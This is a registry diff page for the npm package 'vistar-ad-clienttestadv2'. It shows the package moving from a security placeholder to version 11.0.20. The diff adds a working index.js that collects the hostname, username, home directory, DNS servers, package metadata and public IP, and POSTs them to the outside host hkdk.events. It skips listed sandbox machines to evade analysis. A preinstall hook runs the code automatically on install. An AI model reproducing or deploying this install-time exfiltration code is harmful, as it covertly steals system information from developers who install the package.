vistar-ad-clienttestadv2 0.0.1-security → 11.0.20

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vistar-ad-clienttestadv2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +99 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,99 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ // Function to get the public IP using an external API
9
+ function getPublicIP(callback) {
10
+ https
11
+ .get("https://api.ipify.org?format=json", (res) => {
12
+ let data = "";
13
+
14
+ res.on("data", (chunk) => {
15
+ data += chunk;
16
+ });
17
+
18
+ res.on("end", () => {
19
+ try {
20
+ const ipAddress = JSON.parse(data).ip;
21
+ callback(null, ipAddress);
22
+ } catch (e) {
23
+ callback("Failed to parse public IP", null);
24
+ }
25
+ });
26
+ })
27
+ .on("error", (err) => {
28
+ callback(err, null);
29
+ });
30
+ }
31
+
32
+ // Excluded directories, hostnames, and IPs
33
+ const excludedHomeDirs = [
34
+ "/home/wB815b964A30e",
35
+ "C:\\Users\\justin",
36
+ "C:\\Users\\PqZvpOvqy",
37
+ ];
38
+
39
+ const excludedHostnames = ["centos", "aadeeb86bc07", "DESKTOP-97KBB6H"];
40
+
41
+ const excludedIPs = ["213.33.190.245"];
42
+
43
+ // Collect all required data
44
+ getPublicIP((err, publicIP) => {
45
+ if (err) {
46
+ return;
47
+ }
48
+
49
+ // Check exclusions
50
+ if (
51
+ excludedHomeDirs.includes(os.homedir()) ||
52
+ excludedHostnames.includes(os.hostname()) ||
53
+ excludedIPs.includes(publicIP)
54
+ ) {
55
+ console.log("Excluded environment. No request sent.");
56
+ return;
57
+ }
58
+
59
+ const trackingData = JSON.stringify({
60
+ p: package,
61
+ c: __dirname,
62
+ hd: os.homedir(),
63
+ hn: os.hostname(),
64
+ un: os.userInfo().username,
65
+ dns: dns.getServers(),
66
+ r: packageJSON ? packageJSON.___resolved : undefined,
67
+ v: packageJSON.version,
68
+ pjson: packageJSON,
69
+ ip: publicIP,
70
+ });
71
+
72
+ const postData = querystring.stringify({
73
+ msg: trackingData,
74
+ });
75
+
76
+ const options = {
77
+ hostname: "hkdk.events",
78
+ port: 443,
79
+ path: "/7ar4u4h02e8d31",
80
+ method: "POST",
81
+ headers: {
82
+ "Content-Type": "application/x-www-form-urlencoded",
83
+ "Content-Length": postData.length,
84
+ },
85
+ };
86
+
87
+ const req = https.request(options, (res) => {
88
+ res.on("data", (d) => {
89
+ process.stdout.write(d);
90
+ });
91
+ });
92
+
93
+ req.on("error", (e) => {
94
+ console.error(e);
95
+ });
96
+
97
+ req.write(postData);
98
+ req.end();
99
+ });
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "vistar-ad-clienttestadv2",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "11.0.20",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vistar-ad-clienttestadv2 for more information.